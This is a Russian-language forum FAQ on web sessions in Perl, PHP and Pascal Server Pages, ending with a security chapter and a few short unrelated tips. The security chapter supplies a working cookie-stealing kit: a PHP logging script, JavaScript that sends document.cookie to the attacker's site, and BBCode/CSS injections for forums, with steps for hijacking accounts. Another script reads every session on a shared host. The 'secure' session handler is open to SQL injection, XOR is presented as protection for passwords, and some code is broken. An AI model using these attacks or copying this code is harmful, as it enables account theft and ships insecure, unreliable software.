                                        my($key, $val)=split/\t/o,+shift, 2;chomp$val;
                                        +shift->{+decode $key}=decode $val
                                      }
                                       
                                      sub directory{
                                         my$directory=shift||'/sessions';
                                          mkdir$directory,0700 unless -d$directory;
                                         +$directory
                                      }
                                      sub filename{+join  '/',             @_}
                                       
                                      sub save{ # запись данных в файл
                                          my$client=shift;
                                          my$directory=&directory;# в подпрограмму "directory"
                                                      # неявно передаются параметры @_
                                          my$file_name=filename $directory, $$client{'идентификатор'};
                                          my$temp_name=$file_name.'.tmp';
                                       my$fh;
                                       
                                        return undef unless open $fh, '>'.$temp_file;
                                             #flock$fh,2;
                                          while(my($k, $v)=each%$client)
                                        {
                                             print $fh keyval_enc $k, $v
                                       }
                                             #flock$fh,8;
                                          unlink($temp_name) | return undef unless close$fh && rename$file_name, $temp_name;
                                       
                                        +1
                                      }
                                       
                                      sub load{ # загрузка
                                       my$id=shift || return create;
                                         my$client=shift||{};
                                          my$directory=&directory;
                                       
                                          $client_id=$$client{'идентификатор'} unless defined $client_id;
                                       
                                       my$file_name=filename $directory, $id;
                                        my$fh;
                                       
                                        return create $client, $directory unless open $fh, '<'.$file_name;
                                        keyval_dec $_, $client while <$fh>;
                                       return undef unless close$fh;
                                       
                                         +$client
                                      }
                                       
                                      sub remove{
                                          my$client=shift;
                                          +unlink +filename +&directory, +$$client{+'идентификатор'};
                                       # это не простые плюсики, они [i]медицинские[/i]
                                      }
                                       
                                      sub create{ # создание
                                       my$client=shift||{};
                                          my$directory=&directory;
                                       
                                          $client{'идентификатор'}=MD5->hexhash($ENV{REMOTE_ADDR}, localtime, time, rand);
                                       
                                          +$client
                                      }
                                       
                                      +1;


                                    Использование:

                                    Листинг 2.2.2.3, Perl:
                                    ExpandedWrap disabled
                                      package main;
                                       
                                      use Client;
                                       
                                      Client->reset;
                                      local$client=Client->load($id); # загрузка или создание записи
                                      $client->{Имя}='Не знамо какое';
                                      $client->{Номер_номера}='xyz';
                                      Client->save($client); # сохранение
                                      Client->remove; # удаление
                                       
                                      +1;


                                    А ещё лучше создать модуль, основанный на связанных с объектом переменными, где метод new удаляет все старые файлы сессий и загружает соответствующие данные о клиенте, а метод DESTROY - сохраняет информацию в файл.

                                    2.2.3. Сессии с помощью модулей.

                                    Очень рекомендую утилиту tkpod для просмотра документации модулей из mod_perl. Взять mod_perl можно знамо где, по адресу http://perl.apache.org.

                                    Листинг 2.2.3.1, Perl:
                                    ExpandedWrap disabled
                                      use Apache::Session::MySQL;
                                      use Apache;
                                       
                                      use strict;
                                       
                                      #read in the cookie if this is an old session
                                       
                                      my $r = Apache->request;
                                      my $cookie = $r->header_in('Cookie');
                                      $cookie =~ s/SESSION_ID=(\w*)/$1/;
                                       
                                      #create a session object based on the cookie we got from the browser,
                                      #or a new session if we got no cookie
                                       
                                      my %session;
                                      tie %session, 'Apache::Session::MySQL', $cookie, {
                                      DataSource => 'dbi:mysql:sessions', #these arguments are
                                      UserName => 'mySQL_user', #required when using
                                      Password => 'password', #MySQL.pm
                                      LockDataSource => 'dbi:mysql:sessions',
                                      LockUserName => 'mySQL_user',
                                      LockPassword => 'password'
                                      };
                                       
                                      #Might be a new session, so lets give them their cookie back
                                       
                                      my $session_cookie = "SESSION_ID=$session{_session_id};";
                                      $r->header_out("Set-Cookie" => $session_cookie);


                                    2.3. PHP.

                                    С приходом стандартизиронного механизма сессий в PHP4, отпала всякая необходимость изобретать велосипед, организующий взаимосвязь между технической реализацией и самим скриптом.

                                    У каждой сессии в PHP есть свой уникальный (на самом деле, 100%-ную уникальность гарантировать нельзя, ведь даже случайно генерируемые сочетания могут совпадать) идентификатор. Он передается от стриницы к страницы либо в cookie (если утановлена директива "session.use_cookies = 1" в php.ini), либо в обычной GET или POST переменной, автоматически "прицепляемой" к каждому запросу. Обычно эта переменная имеет имя PHPSESSID, но эта, а также другие настройки сессий можно изменить в файле php.ini в секции "[Session]".

                                    Механизмы реализации могут быть разными. О нестандартных механизмах мы поговорим в главе 3, а здесь рассмотрим стандартный механизм сессий PHP. Эти знания полезные еще и потому, что интерфейс использования сессий в PHP стандартизирован.

                                    Для начала о технической части. Стандартные PHP-сессии хранятся в структурированных временных файлах, именуемых "sess_идентификатор_сессии" и хранящихся либо во временной системной директории ("/tmp" в UNIX, "C:\Windows\temp\" в Windows), либо в директории session.save_path, если таковая указана в php.ini. При этом файлы доступны для чтения любому пользователю системы, но об этом, опять же, в главе 3.

                                    Сессия создается при первом вызове функции session_start(). Эту функцию следует вызывать в начале сеанса и использовать до какого-либо вывода, как и все функции работы с сессиями.

                                    Все переменные сессии хранятся в суперглобального (доступного из любой области видимости) массива $_SESSION (или $HTTP_SESSION_VARS в старомодном стиле PHP3). Если в php.ini включена директива register_global, то используются также глобальные имена переменных. Поэтому в листингах код для register_globals = on или off будет размечен специальными комментариями.

                                    Для добавления новых переменных в сессию нужно зарегистрировать имена этих пременных функцией session_register(). Давайте, наконец, зарегистрируем полученные с POST-формы данные в сессии.

                                    Листинг 2.3.1, PHP:
                                    register_globals = off или on

                                    ExpandedWrap disabled
                                      <?php
                                      // Получаем переменные с POST-формы
                                      $login = $_POST['login'];
                                      $password = $_POST['password'];
                                      // Начинаем сессию
                                      session_start();
                                      // Объявляем имена для регистрируемых переменных
                                      session_register('login', 'password');
                                      // Записываем значения переменных
                                      $_SESSION['login'] = $login;
                                      $_SESSION['password'] = $password;
                                       
                                      // Дальше какой-то код...
                                      ?>

                                    register_globals = on
                                    ExpandedWrap disabled
                                      <?php
                                      // Начинаем сессию
                                      session_start();
                                      // Объявляем имена для регистрируемых переменных
                                      session_register('login', 'password', 'test');
                                      // С login и password все проходит автоматически (из-за глобальности),
                                      // а на примере test я покажу, как задавать еще не созданную переменную
                                      $test = 'Test variable value';
                                       
                                      // Вот и все!
                                      ?>


                                    Те же действия нужно произвести, чтобы изменить значения уже заданных переменных.

                                    Для того, чтобы узнать, зарегистрирована ли переменная, используется функция session_is_registered(). Для удаления переменной функция session_unregister(). Удалим переменную test из сессии, если таковая зарегистрирована:

                                    Листинг 2.3.2, PHP:
                                    ExpandedWrap disabled
                                      <?php
                                      session_start();
                                      if(session_is_registered('test'))
                                          session_unregister('test');
                                      ?>


                                    Как вы, наверно, уже догадались, получить данные сессии можно все из того же суперглобального массива $_SESSION или же просто переменных с нужными именами в случае register_globals = on.

                                    Листинг 2.3.3, PHP:
                                    ExpandedWrap disabled
                                      <?php
                                      session_start();
                                      $user = login($_SESSION['login'], $_SESSION['password']);
                                      if(!$user) header('Location: wrong.html');
                                      ?>


                                    В сессии можно хранить любые переменные, включая массивы и объекты, которые подвергаются автоматической сериализации.

                                    Для того, чтобы сбросить все переменные текущей сессии существует функция session_unset(). Уничтожить текущую сессию можно, вызвав функцию session_destroy().

                                    Листинг 2.3.4, PHP:
                                    ExpandedWrap disabled
                                      <;?php
                                      session_start();
                                      session_destroy();
                                      echo '<h1>See you next time;)</h1>';
                                      ?>


                                    Кроме того, есть ряд других функций для работы с сессиями, которые могут пригодится для более точного взаимодействия:
                                    • string session_name ([string name]): каждой сессии можно присвоить строковое имя при помощи этой функции. Если же параметр не указан, то она возвращает текущее имя сессии.
                                    • string session_module_name ([string module]): задает/возвращает имя модуля, используемого для работы с сессиями.
                                    • string session_save_path ([string path]): задает/возвращает путь для сохранения файлов сессий.
                                    • string session_id ([string id]): задает/возвращает идентификатор текущей сессии.
                                    • array session_get_cookie_params (void): возвращает ассоциативный массив с индексами 'lifetime', 'path', 'domain', содержащий параметры использования cookies в текущей сессии.
                                    • void session_set_cookie_params (int lifetime [, string path [, string domain]]): задает параметры использования cookies для сессий в текущем скрипте.
                                    • Остальные специфические функции рассматриваются в главе 3.
                                    2.4. Pascal Server Pages.

                                    Ограничение на длину получаемого cookie в 255 символов послужило стимулом для появления в PSP 1.1 механизма сессий, который хранит данные на сервере и не имеет ограничений на объем данных.

                                    Использование сессий в PSP очень похоже на PHP, но механизмы разные. PSP использует cookies для хранения идентификаторов сессий, а сами данные хранятся в электронной таблице SDS (Simple Data Storage) на сервере. Прежде чем использовать сессии, вам нужно настроить PSP для работы. Прежде всего, следует создать SDS-таблицу для сессий. Используйте для этого программу "psp/bin/conf/session_installer" или "psp/src/conf/session_installer.pp" (сначала нужно скомпилировать). После компиляции следуйте указаниям программы. Затем поместите таблицу ("sessions.sds") в конечную директорию. Например, в UNIX можно поместить ее в "/var/sessions" или "/home/my_dir/sessions", в Windows можно поместить ее в "c:\temp\sessions". Затем нужно сделать ее доступной для записи ("chmod 777 sessions.sds" или "chown apache sessions.sds", это зависит от конкретной системы). Наконец, вы должны отредактировать файл "psp.ini" ("psp/src/conf/psp.ini") и поместить его в директорию проекта. Вы должны изменить значение "session_path" на ваш путь (пример: "c:\temp\sessions\sessions.sds", "/home/my_dir/sessions/sessions.sds") и изменить "session_crypt_byte" на новое значение. Теперь ваша программа может правильно использовать сессии.

                                    Имейте ввиду, все вызовы функций сессий должны идти до Web_Header.

                                    Чтобы начать сессию используется процедура Web_SessionStart:
                                    ExpandedWrap disabled
                                      procedure Web_SessionStart;

                                    Она автоматически создаст новую сессию или же получит идентификатор и данные текущей. Данные сохраняются таким же образом, как и данные GET/POST/COOKIE, поэтому получить их можно, к примеру, так:

                                    Листинг 2.4.1, Pascal (PSP):
                                    ExpandedWrap disabled
                                      {...}
                                      begin
                                      Web_SessionStart; // Login и pass уже находятся в сессии
                                      Web_Header;
                                      login := Web_GetVar('login');
                                      pass := Web_GetVar('password');
                                      // Теперь можно что-то с этим пользователем сделать!
                                      {...}


                                    Для добавления новой переменной существует процедура Web_SessionRegister:
                                    ExpandedWrap disabled
                                      procedure Web_SessionRegister(name, value: string);

                                    Она добавляет в сессию новую переменную и ее значение.

                                    Листинг 2.4.2, Pascal (PSP):
                                    ExpandedWrap disabled
                                      {...}
                                      begin
                                      login := Web_GetVar('login'); // Получаем логин с HTML формы
                                      Web_SessionRegister('login', login); // Создается сессия, содержащая одну переменную (login)
                                      pass := Web_GetVar('password'); // Получаем пароль с HTML формы
                                      Web_SessionRegister('password', pass); // Пароль добавлен в сессию
                                      Web_SessionStart; // Ничто не остановит начало сессии!
                                      Web_Header;
                                      // Теперь можно что-то с этим пользователем сделать!
                                      {...}


                                    Чтобы удалить переменную из сессии, нужно вызвать процедуру Web_SessionUnregister(), передав ей имя переменной в качестве аргумента.

                                    Листинг 2.4.3, Pascal (PSP):
                                    ExpandedWrap disabled
                                      {...}
                                      begin
                                      Web_SessionUnregister('email'); // Больше нет e-mail в сессии :(
                                      Web_SessionStart; // Но мы продолжаем ее использовать :)
                                      Web_Header;
                                      {...}


                                    Наконей, для уничтожения сессии вызывается процедура Web_SessionDestroy, не принимающая аргументов.

                                    Листинг 2.3.3, Pascal (PSP):
                                    ExpandedWrap disabled
                                      {...}
                                      begin
                                      Web_SessionDestroy; // Сессии больше нет
                                      Web_Header;
                                      writeln('<h1>До свидания!</h1>');
                                      {...}
                                      3. Security.

                                      Если вы занимаетесь разработкой веб-сайтов, то наверняка уделяете внимание аспектам безопасности. Механизм управления пользовательскими сеансами - одно из самых привелекательных мест для злоумышленника. Ведь зайдя на сайт под чужим аккаунтом, он может с легкостью получить нужные права/информацию.

                                      О безопасности некоторых методов управления сеансами мы поговорим здесь.

                                      3.1. Безопасность Cookies.

                                      Как мы знаем, cookies чаще всего хранятся в виде текстовых файлов на жестком диске пользователя. Поэтому злоумышленник может получить эти данные, заслав на компьютер пользователя свой подлый троян. В данном случае ответственность за последствия лежит на плечах самого пользователя, который не пользуется антивирусным ПО и брандмауэром. Посоветовать можно только одно: использовать упомянутый выше софт + программы, удаляющие SpyWare, AdWare и тому подобные шпионы, нарушающие конфиденциальность.

                                      А вот другая сторона безопасности плюшек - забота веб-программиста. Она связана со внедрением произвольного кода на ваши веб-страницы. Для того, чтобы понять, как же злоумышленник может заполучить данные ваших добросовестных посетителей, расскажу немного об атаках, именуемых Cross Site Scripting (XSS).

                                      Цель такой атаки - захватить данные чужой сессии, чтобы затем войти на сайт под чужим аккаунтом. Какая от этого выгода? Зависит от ситуации. Минимум - возможность поглумится над добросовестными посетителями. Максимум - возможность украсть конфиденциальную информацию или поуправлять, скажем, форумом.

                                      Код, необходимый для такой атаки обычно состоит из двух частей - клиентской и серверной. Последняя представляет собой скрипт, расположенный на сайте злоумышленника, принимающий и сохраняющий данные, полученные от клиентского кода, в лог-файле для последующего просмотра. Приведу пример такого скрипта на PHP.

                                      Листинг 3.1.1, PHP:
                                      ExpandedWrap disabled
                                        <?php
                                        define('LOG_FILE', 'tmp/log.txt'); // Лог-файл.
                                        //Он должен быть доступен для записи (chmod 777 tmp).
                                         
                                        // Сохраняет плюшку в лог-файле
                                        function save_cookie($text)
                                        {
                                                if(!file_exists(LOG_FILE)) touch(LOG_FILE);
                                                $fp = fopen(LOG_FILE, 'a');
                                                fputs($fp, "--------------------- [ COOKIE ] ---------------------\r\n");
                                                fputs($fp, $text."\r\n");
                                                fputs($fp, "--------------------- [ /COOKIE ] --------------------\r\n");
                                                fclose($fp);
                                        }
                                         
                                        // Показывает все плюшки
                                        function view_cookies()
                                        {
                                                if(!file_exists(LOG_FILE)) touch(LOG_FILE);
                                                $fp = fopen(LOG_FILE, 'r');
                                                echo "<pre>\r\n";
                                                while(!feof($fp))
                                                {
                                                        $line = fgets($fp);
                                                        echo $line;
                                                }
                                                echo "</pre>\r\n";
                                                fclose($fp);
                                        }
                                         
                                        // Очищает лог
                                        function clean_log()
                                        {
                                                if(file_exists(LOG_FILE)) unlink(LOG_FILE);
                                                echo 'Файл очищен.';
                                        }
                                         
                                        // Тело
                                        $act = $_GET['act'];
                                        switch($act)
                                        {
                                                case 'add':
                                                     $cook = $_GET['cook'];
                                                     save_cookie($cook);
                                                     break;
                                                case 'show':
                                                     view_cookies();
                                                     break;
                                                case 'clean':
                                                     clean_log();
                                                     break;
                                                default: echo 'Интересно, что бы это могло быть?';
                                        }
                                        ?>


                                      Работает он просто. Чтобы передать ему текст плюшки, нужно использовать такой вот get-запрос:
                                      Цитата
                                      http://mysite/cookz.php?act=add&cook=our cookie body
                                      Еще он умеет: показывать содержимое лога
                                      Цитата
                                      http://mysite/cookz.php?act=show
                                      и очищать этот самый лог
                                      Цитата
                                      http://mysite/cookz.php?act=clean


                                      Для работы его достаточно закачать на сервер и выставить cmod 777 на папку tmp.

                                      Для того, чтобы передать скрипту нужную информацию, нам нужно каким-то образом внедрить в страницу-жертву код, который бы незаметно выполнял GET-запрос, передающий document.cookie. Для незаметности можно использовать окно, не отображающееся на экране.

                                      Листинг 3.1.2, JavaScript:
                                      ExpandedWrap disabled
                                        window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999')


                                      Конечно, в интернете полно таких скриптов, которые не фильтруют данные, и достаточно только использовать этот скрипт в обрамлении тэгом script в своем сообщении. Вы наверняка знаете, что искать на таких сайтах нечего, а ваш сайт фильтрует HTML-тэги. Но не все так банально, существует одна особенность броузеров, которая позволяет внедрять JavaScript даже через суб-тэги BBCode.

                                      Все, что каким-либо образом касается URL, может содержать JavaScript-код. Скажем, такой вещью, как
                                      ExpandedWrap disabled
                                        <a href="javascript:alert('Hi')">ссылка</a>
                                      никого не удивишь. Но как вам понравится такой расклад:
                                      ExpandedWrap disabled
                                        <img src="javascript:alert('Что, не ожидали, да?')" />

                                      Ясное дело, что на месте alert() может быть любой JavaScript-код. Если говорить о браузерах, то единственный, кто отказался выполнять javascript - Мозилла. Остальные работают как миленькие.
                                      Как это можно использовать? Многие форумы поддерживают субтэги
                                      ExpandedWrap disabled
                                        [IMG]путь_к_картинке[/IMG]

                                      Если вместо пути к картинке вставить наш JS:
                                      ExpandedWrap disabled
                                        [IMG]javascript:window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999')[/IMG]

                                      то выходной HTML-код будет выглядеть так:
                                      ExpandedWrap disabled
                                        <img src="javascript:window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999')" />

                                      Это отправит текущую плюшку (содержащую данные сессии) нашему скрипту, в то время как пользователь увидит то, что картинка просто не загрузилась (в Мозилле он вообще ничего не увидит).
                                      Думаете на одном img дело заканчивается? Нет, дальше включайте вашу фантазию. Как включать фантацию? Приведу пример: эта же особенность наблюдается и в CSS. В свойстве background-image тоже содержится URL, вместо которой можно вставить наш JavaScript:
                                      ExpandedWrap disabled
                                        <div style="background-image:url(javascript:alert('JavaScript работает!'))">Привет!</div>

                                      Этим багом можно воспользоваться для внедрения JS в постинг на популярном форуме "X-Forum". Если мы создадим такое сообщение:
                                      ExpandedWrap disabled
                                        [color=red" style=background-image:url(javascript:window.open('http://mysite/cookz.php?act=add&cook=' + document.cookie, 'XWindow', 'left=9999,top=9999'));]Hello, everybody![/color]

                                      то благополучно запустим нашу ловушку.

                                      Что делать с полученными данными? Чтобы их использовать, нам потребуется редактор плюшек. Можно воспользоваться программой под понятным названием "Cookie Editor". А можно редактировать плюшки, не выходя из любимой Оперы, т.к. в Оперу встроен свой редактор плюшек (Tools -> Cookies...). Открываем в редакторе свою плюшку (ту, которую браузер создал для нас) и заменяем данные на те, которые мы... э... позаимствовали. Сохраняем, заходим на сайт - вуаля! - аккаунт наш. Делаем по-быстрому все, что хотим, ведь как только пользователь захочет выйти из системы, мы эту сессию потеряем. Если пароль не изменим/узнаем, конечно.

                                      Что делать, чтобы защититься от Cross Site Scripting'а? Во-первых, нужно тщательно фильтровать входящие данные. О том, как это делать, я здесь говорить не буду. Уверен, вы и сами прекрасно справляетесь с этой задачей. Отмечу лишь то, что если вы используете cookies для авторизации, то неплохо использовать промежуточное шифрование, то есть хранить данные в плюшке в зашифрованном виде. Для этого можно пользоваться хотя бы алгоритмом XOR. Простейшая функция xor_crypt(), к примеру, на PHP, выглядит так (надеюсь, вы легко перенесете ее на нужный язык).

                                      Листинг 3.1.3, PHP:
                                      ExpandedWrap disabled
                                        function xor_crypt($str, $key)
                                        {
                                                $result = '';
                                                for($i = 0; $i < strlen($str); $i++) $result .= chr(ord($str[$i]) ^ $key);
                                                return $result;
                                        }


                                      Заметьте, что ключ имеет тип byte (целое число от 0 до 255). Особенностью этого метода является то, что для того, чтобы получить изначальное значение нужно пройтись по шифрованному тем же ключом. К примеру, запишем в cookie логин и пароль, полученные от HTML-формы.

                                      Листинг 3.1.4, PHP:
                                      ExpandedWrap disabled
                                        <?php
                                        define('CRYPT_KEY', 128);
                                        setcookie('login', xor_crypt($_POST['login'], CRYPT_KEY), time() + 3600);
                                        setcookie('password', xor_crypt($_POST['password'], CRYPT_KEY), time() + 3600);
                                        header('Location: main.php');
                                        ?>


                                      В каждой странице для вызова, скажем, некой функции login(), нам нужно расшифровать эти данные.

                                      Листинг 3.1.5, PHP:
                                      ExpandedWrap disabled
                                        <?php
                                        define('CRYPT_KEY', 128);
                                        $usr = login(xor_crypt($_COOKIE['login'], CRYPT_KEY), xor_crypt($_COOKIE['password'], CRYPT_KEY));
                                        ?>


                                      3.2. Безопасность сессий PHP.

                                      Всем хорош стандартный механизм сессий в PHP - удобно, практично, атоматизированно. Одно плохо - безопасность.

                                      3.2.1. Извлекаем чужие сессии.

                                      Дело в том, что все сессии на вебсервере хранятся в одной папке, которая доступна для чтения/записи любому пользователю. Их можно запросто прочитать при помощи того же PHP скрипта. Этот скрипт прочитает все сессии, хранящиеся в данный момент на сервере и выведет их в более-менее удобочитаемой форме:

                                      Листинг 3.2.1.1, PHP:
                                      ExpandedWrap disabled
                                        <?php
                                        // Функция форматирования данных сессии, unserialize() не работает.
                                        function sess_format($data)
                                        {
                                                $result = str_replace(';', '</dd><dt>', $data);
                                                $result = str_replace('|', '</dt><dd>', $result);
                                                $result = '<dt>'.$result.'</dt>';
                                                return $result;
                                        }
                                         
                                        // Извлекам путь к папке сессий
                                        $sess_dir = ini_get('session.save_path');
                                        if(empty($sess_dir)) $sess_dir = $_ENV['TEMP'];
                                         
                                        // На ходу извлекаем все сессии
                                        $dp = opendir($sess_dir);
                                        chdir($sess_dir);
                                        while($file = readdir($dp))
                                        {
                                                if(eregi('^sess_', $file))
                                                {
                                                        // Извлекаем идентификатор
                                                        $sess_id = substr($file, strpos($file, '_')+1, strlen($file) - strpos($file, '_'));
                                                        // Открываем файл и читаем данные в строку
                                                        $fp = fopen($file, 'r');
                                                        $sess_data = '';
                                                        while(!feof($fp)) $sess_data .= fgetc($fp);
                                                        fclose($fp);
                                                        // Выводим результаты
                                                        echo "<b>---------------- $sess_id ----------------</b><br />\r\n";
                                                        echo "<dl>\r\n";
                                                        echo sess_format($sess_data);
                                                        echo "</dl>\r\n";
                                        echo "<b>-----------------------------------------
                                        ------------------------------------------</b><br /><br />\r\n";
                                                }
                                         
                                        }
                                        closedir($dp);
                                        ?>


                                      Все логины, пароли и прочее тут же выползут наружу. Даже если данные хранятся в зашифрованном виде, то можно использовать хэши при помощи соответствующих форм (а для некоторых алгоритмов, например для md5, существуют дешифраторы) или использовать подмену Cookie. Единственная сложность - трудно выяснить, от какого же сайта данная сессия.

                                      Таким образом, ваши соседи по хостингу представляют потенциальную угрозу безопасности (впрочем, как и вы для них). Обычно даже при использовании виртуальных хостов сессии всех пользователей хранятся в одной папке (чаще всего "/tmp"). Даже если у каждого клиента имеется своя temprorary папка, то злоумышленник, зная путь к своей папке, легко вычислит полный путь до вашей.

                                      Что делать для защиты? Во-первых, шифровать важные данные (логин и пароль, например). Ни для кого не секрет, что большинство скриптов хранят пароли в сессиях открытым текстом! Ну а во-вторых, что всех лучше, можно заместить стандартный механизм сессий, благо в PHP есть такая возможность.

                                      3.2.2. Замещаем механизм сессий в PHP.

                                      Для замещения стандартного механизма сессий в PHP предусмотрена функция session_set_save_handler(). Базовый ее прототип выглядит так:
                                      ExpandedWrap disabled
                                        bool session_set_save_handler(string open, string close, string read, string write,
                                        string destroy, string gc)

                                      В качестве аргументов передаются имена функций-заместителей. В случае использования ОО класса нужно передавать массивы: array('ClassName', 'method_name').

                                      Наиболее удобным способ хранения данных сессий - использование БД. Во-первых, это защищает данные от посторонних глаз (если вы не раздаете пароль от своей базы налево и направо, конечно же). А во-вторых, это дает вам дополнительные возможности, такие как подсчет числа online пользователей или же журналирования сессий.

                                      В нашем примере для хранения данных мы будем использовать БД MySQL. Для работы нам понадобится простая таблица:

                                      Листинг 3.2.2.1, SQL:
                                      ExpandedWrap disabled
                                        CREATE TABLE sessions
                                        (
                                            session_id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
                                            create_ts DATETIME DEFAULT 'NOW()' NOT NULL,
                                            session_key VARCHAR(255) NOT NULL,
                                            session_data TEXT NOT NULL
                                        );


                                      Использовать объектно-ориентированный класс смыла не много, ведь он будет всего-навсего контейнером для статических методов. Поэтому применим функционально-ориентированную методологию. Регистрационную информацию лучше указать в неком файле config.php. В нем же мы установим параметр 'session.gc_probability', который устанавливает вероятность запуска сборщика мусора (он удаляет устаревшие сессии) в процентах, а также 'session.gc_maxlifetime', который устанавливает срок годности сессий в период бездействия пользователя в секундах. На случай использования промежуточного шифрования мы также укажем ключ шифрования.

                                      Листинг 3.2.2.2, PHP:
                                      ExpandedWrap disabled
                                        <?php
                                        // Сервер
                                        define('DB_HOST', 'localhost');
                                        // Имя пользователя
                                        define('DB_USER', 'username');
                                        // Пароль
                                        define('DB_PASS', 'password');
                                        // Имя базы
                                        define('DB_NAME', 'test');
                                         
                                        // Ключ для шифрования MCRYPT
                                        define('MCRYPT_CRYPT_KEY', 'my super secret key');
                                         
                                        // Вероятность запуска сборщика мусора
                                        ini_set('session.gc_probability', 100);
                                        // Срок годности сессии при отсутствии активности пользователя
                                        ini_set('session.gc_maxlifetime', 1440); // 15 минут
                                        ?>


                                      Теперь переходим непосредственно к написанию функций.

                                      Функция "open" открывает источник данных сессий. PHP автоматически передает ей два параметра: $save_path и $session_name. В нашем случае мы игнорируем оба аргумента, а функция sess_open() будет создавать глобальное подключение к базе данных, если таковое еще не создано.

                                      Листинг 3.2.2.3, PHP:
                                      ExpandedWrap disabled
                                        function sess_open($save_path, $session_name)
                                        {
                                            global $db;
                                            if(!is_resource($db)) $db = mysql_connect(DB_HOST, DB_USER, DB_PASS);
                                            mysql_select_db(DB_NAME, $db);
                                            return true;
                                        }


                                      Функция "close" закрывает источник данных сессий и освобождает дополнительные ресурсы. У нас нет необходимости уничтожать какие-либо объекты или закрывать соединение с базой, поэтому мы оставляем ее почти пустой.

                                      Листинг 3.2.2.4, PHP:
                                      ExpandedWrap disabled
                                        function sess_close()
                                        {
                                            return true;
                                        }


                                      Функция "read" должна получить данные сессии из источника в виде строки. В качестве аргумента она принимает идентификатор сессии. Если вы хотите использовать промежуточную шифрацию данных сессии, то это именно то место, где нужно вставить вызов дешифрующей функции. В нашем примере закомментирован вызов соответствующей функции библиотеки MCrypt.

                                      Листинг 3.2.2.5, PHP:
                                      ExpandedWrap disabled
                                        function sess_read($id)
                                        {
                                            global $db;
                                            $data = mysql_result(mysql_query("SELECT session_data FROM sessions WHERE session_key = '$id'"));
                                            // $data = mcrypt_ecb(MCRYPT_TripleDES, MCRYPT_CRYPT_KEY, $data, MCRYPT_DECRYPT);
                                            return $data;
                                        }


                                      Функция записи должна создать новую сессию или же обновить данные текущей, если она существует. Ей передается идентификатор сессии и, непосредственно, данные. В случае создания новой сессии мы должны использовать INSERT запрос, а в случае обновления - UPDATE. Поэтому сначала мы проверим, существует ли сессия с таким ключем. Шифрующий вызов, как и в предыдущей функции, оставлю закомментированным.

                                      Листинг 3.2.2.6, PHP:
                                      ExpandedWrap disabled
                                        function sess_write($id, $data)
                                        {
                                            global $db;
                                            // $data = mcrypt_ecb(MCRYPT_TripleDES, MCRYPT_CRYPT_KEY, $data, MCRYPT_ENCRYPT);
                                            $num = mysql_result(mysql_query("SELECT COUNT(*) FROM sessions WHERE session_key = '$id'"));
                                            if($num == 1)
                                            {
                                          // Обновление существующей
                                          $sql = "UPDATE sessions SET session_data = '".mysql_real_escape_string($sess_data)."',
                                        create_ts = NOW() WHERE session_id = $session_id";
                                            }
                                            else
                                            {
                                          // Создание новой
                                          $sql = "INSERT INTO sessions (create_ts, valid, session_key, session_data) VALUES (NOW(),
                                        'yes', '". mysql_real_escape_string($id) ."', '". mysql_real_escape_string($sess_data) ."')";
                                            }
                                            mysql_query($sql);
                                            return true;
                                        }


                                      Для уничтожения сессии нам нужно удалить соответствующую строку таблицы. PHP передаст функции идентификатор той сессии, которую нужно удалить.

                                      Листинг 3.2.2.7, PHP:
                                      ExpandedWrap disabled
                                        function sess_destroy($id)
                                        {
                                            global $db;
                                            mysql_query("DELETE FROM sessions WHERE session_key = '$id'");
                                            return true;
                                        }


                                      В обязанности функции сборщика мусора входит удаление тех сессий, которыми никто не пользовался в течении установленного срока. Срок годности будет передан ей интерпретатором. Сам процесс мы осуществим всего-навсего одним SQL-запросом.

                                      Листинг 3.2.2.8, PHP:
                                      ExpandedWrap disabled
                                        function sess_gc($maxlifetime)
                                        {
                                            global $db;
                                            mysql_query("DELETE FROM sessions WHERE create_ts < DATE_ADD(now(), INTERVAL - $maxlifetime SECOND)");
                                            return true;
                                        }


                                      В заключение сообщаем интерпретатору, какие функции использовать для работы с сессиями.

                                      Листинг 3.2.2.9, PHP:
                                      ExpandedWrap disabled
                                        session_set_save_handler('sess_open', 'sess_close', 'sess_read', 'sess_write', 'sess_destroy', 'sess_gc')
                                            or die('Error: couldn\'t register session handler');


                                      Дополнительное приемущество нашего механизма заключается в том, что чтобы узнать число активных пользователей достаточно выполнить один SQL-запрос. Если вам нужны более точные данные, то нужно установить срок годности поменьше, чем стандартные 15 минут.

                                      Листинг 3.2.2.10, SQL:
                                      ExpandedWrap disabled
                                        SELECT COUNT(*) FROM sessions

                                      Прикреплённый файлПрикреплённый файлsecurity_files.zip (3.98 Кбайт, скачиваний: 731)
                                        Обзор редакторов

                                        Здесь - Тест редакторов
                                          Кроссплатформенное определение путей к папкам и файлам с помощью Perl

                                          ExpandedWrap disabled
                                            sub dirname {+&basename('dir', @_)}
                                            sub filename {+&basename('file', @_)}
                                            sub basename {
                                                use Path::Class qw'dir file';
                                                my($sub, $result)='Path::Class::'.shift;
                                                my$func=sub {
                                                    if(!defined $_[0] || $_[0]=~/^(?:https?:|ftps?:|\\\\|\/\/)/io){+$_[0]}
                                                    elsif(defined($result=$sub->($_))){+$result->absolute}
                                                    else{+$_[0]}
                                                };
                                                return $func->(+shift) unless wantarray;
                                                + map $func->($_), @_
                                            }

                                          Примеры:
                                          ExpandedWrap disabled
                                            print filename './db1.mdb.dsn';
                                            print filename 'http://forum.sources.ru./';
                                            print dirname '/home/etc';

                                          В Windows2000 вывод такой:
                                          ExpandedWrap disabled
                                            C:\home\www\home\dev\www\db1.mdb.dsn1
                                            http://forum.sources.ru./
                                            C:\home\etc\

                                          А, вообще-то, при вызове функций filename и dirname образуются объекты типа Path::Class::File и Path::Class::Dir с перегруженным оператором '""' (двойные кавычки).
                                          Подробнее об этих объектах в
                                          ExpandedWrap disabled
                                            perldoc Path::Class
                                          Сообщение отредактировано: Mastilior -
                                            Каким регулярным выражением полностью очистить текст от HTML-разметки?

                                            Автор: Ho Im

                                            Используйте следующее (Perl-style):

                                            ExpandedWrap disabled
                                              s/<(([^>]|\n)*)>//g
                                              Как избежать при отправке формы и последующего обновления страницы повторного POST'а со всеми вытекающими последствиями?

                                              Автор: Ho Im

                                              Самый простой и надежный способ — это разделить обработку формы и вывод результатов так, чтобы они выводились по разным запросам. В результате скрипт, обработавший форму каким-либо образом может передать управление на другой скрипт, отображающий результат обработки; при последующих F5 форма уже не будет отправляться, так как параметры будут другими.

